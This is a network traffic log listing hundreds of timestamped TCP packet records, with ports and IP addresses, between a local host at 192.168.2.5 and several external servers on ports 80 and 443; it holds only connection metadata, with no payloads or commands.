Nov 24, 2024 23:24:33.420300961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.420510054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.420602083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.421576023 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.421634912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.495590925 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.537925005 CET	443	49809	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:33.538161039 CET	49809	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:33.538170099 CET	443	49809	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:33.538535118 CET	443	49809	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:33.538901091 CET	49809	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:33.538959026 CET	443	49809	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:33.545265913 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.545927048 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:33.545958042 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.547103882 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:33.547111034 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.575103998 CET	443	49810	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:33.575520992 CET	49810	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:33.575539112 CET	443	49810	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:33.576849937 CET	443	49810	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:33.576922894 CET	49810	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:33.577433109 CET	49810	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:33.577539921 CET	443	49810	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:33.591495991 CET	49809	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:33.615207911 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.623132944 CET	49810	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:33.623142958 CET	443	49810	172.64.41.3	192.168.2.5
Nov 24, 2024 23:24:33.669823885 CET	49810	443	192.168.2.5	172.64.41.3
Nov 24, 2024 23:24:33.734446049 CET	49816	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:33.734477043 CET	443	49816	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:33.734570980 CET	49816	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:33.734822035 CET	49816	443	192.168.2.5	4.249.200.148
Nov 24, 2024 23:24:33.734838963 CET	443	49816	4.249.200.148	192.168.2.5
Nov 24, 2024 23:24:33.773550034 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.774080038 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:33.774106979 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.774725914 CET	49807	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:33.774733067 CET	443	49807	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.949908972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.949939966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.949974060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.950000048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.950386047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.950434923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.950536966 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.950647116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.951513052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.951536894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.951560020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.951582909 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.952748060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.952831984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.952925920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.952980995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.953958988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.954060078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.954067945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.954118013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.955188036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.955260992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.955442905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.955502987 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.956443071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.956512928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.956763983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.956823111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.958271027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.958331108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.959043026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.959233999 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.960309982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.960355997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.960809946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.960860968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.962658882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.962711096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.962898016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.962963104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.965002060 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.965060949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.965540886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.965589046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.966217995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.966263056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.966305017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.966350079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.967531919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.967580080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.967974901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.968029022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.968480110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.968534946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.968719006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.968770981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.969413996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.969464064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.969501972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.969548941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.970283031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.970338106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.970473051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.970519066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.971208096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.971292973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.971298933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.971365929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.972011089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.972069025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.972125053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.972172022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.972883940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.972935915 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.973258018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.973323107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.973711967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.973759890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.973879099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.973928928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.974509954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.974556923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.974638939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.974698067 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.975140095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.975195885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.975214005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.975259066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.976428986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.976444960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.976484060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.976509094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.977509022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.977577925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.977592945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.977621078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.978729010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.978806973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.978806973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.978852034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.979816914 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.979899883 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.979963064 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:33.980024099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.980071068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.980268002 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:33.980288029 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.980298042 CET	49806	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:33.980304003 CET	443	49806	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.980467081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.980551004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.981229067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.981311083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.981352091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.981396914 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.982446909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.982516050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.982661009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.982712030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.983635902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.983680964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.983814001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.984112978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.984716892 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:33.984746933 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.984854937 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:33.984898090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.984942913 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.985095024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.985203981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.985589981 CET	49817	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:33.985600948 CET	443	49817	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:33.986104012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.986165047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.986257076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.986306906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.987368107 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.987432957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.987792969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.987843990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.988606930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.988686085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.988708973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.988730907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.989830017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.989969015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.990133047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.990176916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.991059065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.991121054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.991183043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.991265059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.992311954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.992372036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.992816925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.992876053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.993540049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.993588924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.993936062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.994013071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.994807005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.994864941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.995057106 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.995098114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.996045113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.996062040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.996085882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.996109009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.997282028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.997328997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.997467995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.997514009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.998491049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.998543024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.998812914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.998858929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.999771118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:33.999818087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:33.999975920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.000016928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.001020908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.001091003 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.001163960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.001210928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.002214909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.002286911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.002578974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.002629042 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.003438950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.003479958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.003559113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.003603935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.004693985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.004734993 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.004812002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.004890919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.005922079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.005966902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.006417990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.006469011 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.007157087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.007199049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.007869005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.007920027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.008385897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.008439064 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.008801937 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.008845091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.009612083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.009707928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.009728909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.009773016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.010876894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.010926962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.011209965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.011255026 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.055656910 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.058811903 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.058835983 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.061918020 CET	49808	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.061924934 CET	443	49808	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.072885990 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.073836088 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.073865891 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.074263096 CET	49812	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:34.074309111 CET	443	49812	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:34.083755016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.083771944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.083831072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.084386110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.084402084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.084440947 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.084453106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.085549116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.085566998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.085606098 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.085628033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.086739063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.086791039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.086946964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.087022066 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.154504061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.154547930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.154565096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.154582024 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.154584885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.154623032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.154659986 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.155895948 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.155942917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.156009912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.156052113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.159584999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.159626007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.159641981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.159642935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.159681082 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.159786940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.159807920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.159832001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.159845114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.159887075 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.161560059 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.161576986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.161628962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.161664009 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.162247896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.162265062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.162290096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.162306070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.163463116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.163480043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.163516998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.163541079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.164400101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.164453983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.165148020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.165194988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.165635109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.165688992 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.166026115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.166069031 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.166888952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.166945934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.167049885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.167185068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.168129921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.168311119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.168354034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.168354034 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.169384003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.169399977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.169435978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.169462919 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.170597076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.170649052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.171849012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.171864986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:34.171897888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.171916962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:34.173109055 CET	80	49760	185.215.113.206	192.168.2.5
